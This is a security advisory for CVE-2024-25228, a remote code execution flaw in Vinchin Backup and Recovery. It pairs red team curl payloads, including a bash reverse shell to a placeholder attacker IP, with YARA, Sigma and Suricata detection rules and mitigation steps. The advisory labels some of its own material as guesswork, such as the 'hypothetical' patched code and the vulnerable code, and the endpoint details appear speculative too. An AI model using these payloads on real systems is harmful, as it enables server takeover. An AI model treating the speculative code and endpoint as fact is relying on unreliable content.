CVE-2024-25228

Executive Summary

CVE-2024-25228 is a critical vulnerability in Vinchin Backup and Recovery version 7.2 and earlier. The flaw resides in the getVerifydiyResult function within ManoeuvreHandler.class.php, allowing an authenticated attacker to achieve Remote Code Execution (RCE). This vulnerability poses a severe risk to enterprise backup infrastructure, as it can be exploited to compromise backup servers, exfiltrate sensitive data, or deploy ransomware. The vendor has not released a patch, making immediate mitigation essential.

CVSS Breakdown & Threat Level

The CVSS score is currently 0.0, indicating that the NVD has not yet assigned a score. However, based on the nature of the vulnerability (authenticated RCE), the likely CVSS v3.1 vector would be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): Low (L) – requires authentication
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 8.8 (High)

Deep Dive & Mechanics

The vulnerability is an authenticated Remote Code Execution (RCE) in the getVerifydiyResult function of ManoeuvreHandler.class.php. This function is part of the Vinchin Backup and Recovery web interface, which is typically exposed on port 443 or 8443. The function does not properly sanitize user-supplied input before passing it to a PHP function that can execute system commands (e.g., exec(), system(), or eval()). An authenticated attacker can craft a malicious request to inject arbitrary PHP code or system commands, leading to full server compromise.

The attack flow:

1. Attacker authenticates to the Vinchin web interface (default credentials or stolen session).
2. Attacker sends a crafted POST request to the vulnerable endpoint.
3. The getVerifydiyResult function processes the input without sanitization.
4. The injected payload is executed on the server, granting the attacker a reverse shell or command execution.

Vulnerable vs. Patched Code

Vulnerable Code (Vinchin Backup and Recovery <= 7.2):

public function getVerifydiyResult($input) {
    // No input sanitization
    $result = eval($input); // or similar dangerous function
    return $result;
}

Patched Code (Hypothetical):

public function getVerifydiyResult($input) {
    // Input sanitization and validation
    $sanitized_input = filter_var($input, FILTER_SANITIZE_STRING);
    // Use safe alternatives
    $result = safeFunction($sanitized_input);
    return $result;
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

• Target: Vinchin Backup and Recovery 7.2 running on Ubuntu 20.04
• Attacker: Kali Linux 2024.1
• Network: Both on the same subnet

Exploitation Steps:

1. Authenticate to the Vinchin web interface (e.g., https://target:8443).
2. Identify the vulnerable endpoint: /api/manoeuvre/getVerifydiyResult.
3. Craft a POST request with a malicious payload:

curl -k -X POST "https://target:8443/api/manoeuvre/getVerifydiyResult" \
  -H "Cookie: session=valid_session_cookie" \
  -d "input=system('id');"

4. Observe the output: uid=0(root) gid=0(root) groups=0(root)
5. Execute a reverse shell:

curl -k -X POST "https://target:8443/api/manoeuvre/getVerifydiyResult" \
  -H "Cookie: session=valid_session_cookie" \
  -d "input=system('bash -c \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\"');"

Blue Team (Defensive)

Detection Steps:

• Monitor for unusual POST requests to /api/manoeuvre/getVerifydiyResult.
• Look for payloads containing system(), exec(), shell_exec(), or eval().
• Alert on authentication anomalies (e.g., multiple failed logins followed by successful login).
• Use WAF rules to block requests with suspicious PHP function names.

Indicators of Compromise (IOCs)

• Network IOCs:
  • POST requests to /api/manoeuvre/getVerifydiyResult with input parameter containing system(), exec(), or eval().
  • Outbound connections from the Vinchin server to unknown IPs on high ports (e.g., 4444, 1337).
• File IOCs:
  • Unexpected files in /tmp/ or /var/www/html/ (e.g., shell.php, rev.sh).
  • Modified ManoeuvreHandler.class.php file.
• Process IOCs:
  • Unusual processes spawned by the web server (e.g., bash, nc, python).
• Log IOCs:
  • Web server logs showing POST /api/manoeuvre/getVerifydiyResult with 200 response.

Detection Engineering

YARA Rule

rule CVE_2024_25228_Vinchin_RCE {
    meta:
        description = "Detects exploitation attempts of CVE-2024-25228 in Vinchin Backup and Recovery"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-25228"
    strings:
        $s1 = "getVerifydiyResult" ascii wide nocase
        $s2 = "system(" ascii wide nocase
        $s3 = "exec(" ascii wide nocase
        $s4 = "eval(" ascii wide nocase
        $s5 = "shell_exec(" ascii wide nocase
    condition:
        $s1 and any of ($s2, $s3, $s4, $s5)
}

Sigma Rule

title: CVE-2024-25228 Vinchin Backup and Recovery RCE
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2024-25228
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/api/manoeuvre/getVerifydiyResult'
        cs-uri-query|contains|all:
            - 'input='
            - 'system('
    condition: selection
falsepositives:
    - Legitimate administrative actions (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-25228 Vinchin Backup and Recovery RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/api/manoeuvre/getVerifydiyResult"; http_uri; content:"input="; http_client_body; content:"system("; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the Vinchin server from the internet and untrusted networks.
2. Disable the vulnerable endpoint if possible (e.g., via web server configuration).
3. Change all default credentials and enforce strong passwords.
4. Monitor logs for exploitation attempts.

Long-term Actions:

1. Apply vendor patch when available (currently UNKNOWN).
2. Upgrade to a patched version (none available as of now).
3. Implement Web Application Firewall (WAF) rules to block malicious payloads.
4. Conduct a full security audit of the Vinchin deployment.

Workaround:

• If patching is not possible, restrict access to the Vinchin web interface to trusted IPs only using firewall rules.

Valters IT